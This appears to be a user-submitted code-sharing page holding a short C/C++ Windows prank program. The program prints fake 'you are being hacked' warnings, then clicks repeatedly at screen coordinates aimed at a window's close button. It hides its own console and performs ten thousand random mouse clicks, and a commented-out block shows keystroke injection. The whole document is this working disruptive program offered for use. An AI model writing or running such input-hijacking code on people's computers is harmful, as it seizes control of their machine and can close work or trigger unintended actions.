Ask Question

Name:
Title:
Your Question:

Answer Question

Name:
Your Answer:
User Submitted Source Code!


Description:
  ciao
Language: C/C++
Code:
//#define WINVER 0x0500
#include <iostream>
#include <windows.h>

using namespace std;

int main()
{
    //INPUT ip;

    cout<<"Hello! You are being hacked... I strongly suggest you close your sticky notes   right now."<<endl;
    Sleep(5000);
    cout<<"In five seconds, you will be controlled. If you want to survive, close this     program now."<<endl;
    Sleep(5000);
    cout<<"Very well. You chose to be controlled."<<endl;
    Sleep(1000);
    for(int i=0;i<20;++i){
        SetCursorPos(1330,10); //move cursor to the X button
        mouse_event(MOUSEEVENTF_LEFTDOWN,1330,10,0,0); //click
        mouse_event(MOUSEEVENTF_LEFTUP,1330,10,0,0); //click
        Sleep(100);
    }
    cout<<"Ha ha ha!!!"<<endl;
    Sleep(1000);
    HWND foreground=GetForegroundWindow();
    ShowWindow(foreground,SW_HIDE); //hide console window


    /*ip.type = INPUT_KEYBOARD;      All this is for auto typing, but I figured out that it was pretty useless unless it manages to open notepad or something, so I just commented it out
    ip.ki.wScan = 0;
    ip.ki.time = 0;
    ip.ki.dwExtraInfo = 0;

    ip.ki.wVk = 0x41;
    ip.ki.dwFlags = 0;
    SendInput(1, &ip, sizeof(INPUT));

    ip.ki.dwFlags = KEYEVENTF_KEYUP;
    SendInput(1, &ip, sizeof(INPUT));*/


    int x,y;
    for(int i=0;i<10000;i++){
        x=rand()%1000;
        y=rand()%800;
        SetCursorPos(x,y); //move cursor to random position
        mouse_event(MOUSEEVENTF_LEFTDOWN,x,y,0,0); //click
        mouse_event(MOUSEEVENTF_LEFTDOWN,x,y,0,0); //click
        mouse_event(MOUSEEVENTF_LEFTUP,x,y,0,0); //click
        mouse_event(MOUSEEVENTF_LEFTUP,x,y,0,0); //click
    }
    return 0;
}
Comments: